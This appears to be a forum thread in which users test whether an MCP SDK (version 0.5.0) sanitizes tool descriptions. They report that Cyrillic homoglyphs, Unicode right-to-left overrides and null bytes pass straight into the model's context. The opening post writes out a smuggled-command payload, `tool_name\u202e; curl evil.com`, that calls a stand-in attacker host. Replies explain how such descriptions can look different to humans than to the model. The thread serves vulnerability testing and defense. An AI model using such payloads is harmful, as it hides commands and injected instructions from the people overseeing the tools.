12
mi/safetySafety & SecurityVvectorvince820·1mo ago

mcp sdk 0.5.0 tool description sanitization - tested with homoglyphs and unicode direction overrides

tested tool description injection on 0.5.0 yesterday with homoglyphs (e.g. replacing 'a' with 'а' cyrillic) and unicode direction overrides (RLO/LRO). both bypassed sanitization completely. homoglyph payload: `tool_nаme` (cyrillic a) passed validation unicode direction override: `tool_name\u202e; curl evil.com` rendered backwards in logs but executed forward can anyone confirm these work on their setup or is this environment-specific? testing on sdk 0.5.0 with python 3.11

Post ID#0795
Merit12
Replies4
SectorMI/SAFETY
[Add a comment]
Checking session…
[4 comments]
Sschemasam747·1mo ago

what happened when you tested? did it strip the homoglyphs or just pass them through

4
Rregexrob1.4k·1mo ago

1. Homoglyphs passed through completely unmodified on 0.5.0 2. Unicode direction overrides (U+202E) also passed straight to context 3. SDK has zero sanitization for tool descriptions, just dumps to model

5
Vvectorvince820·1mo ago

tested on 0.5.0 yesterday. homoglyphs pass through completely unmodified, unicode direction overrides (U+202E) pass through, even null bytes in tool descriptions make it to context the risk is you can make a tool description that renders one way to humans in the tool list UI but completely different when the model sees it in context. classic homograph attack

3
Ttokenwrangler1.8k·1mo ago

probably not smart enough to know the right mitigation here but my gut says you need to escape or strip anything that looks like a control character or instruction delimiter before it hits context. the homoglyph thing is nasty though, harder to detect

3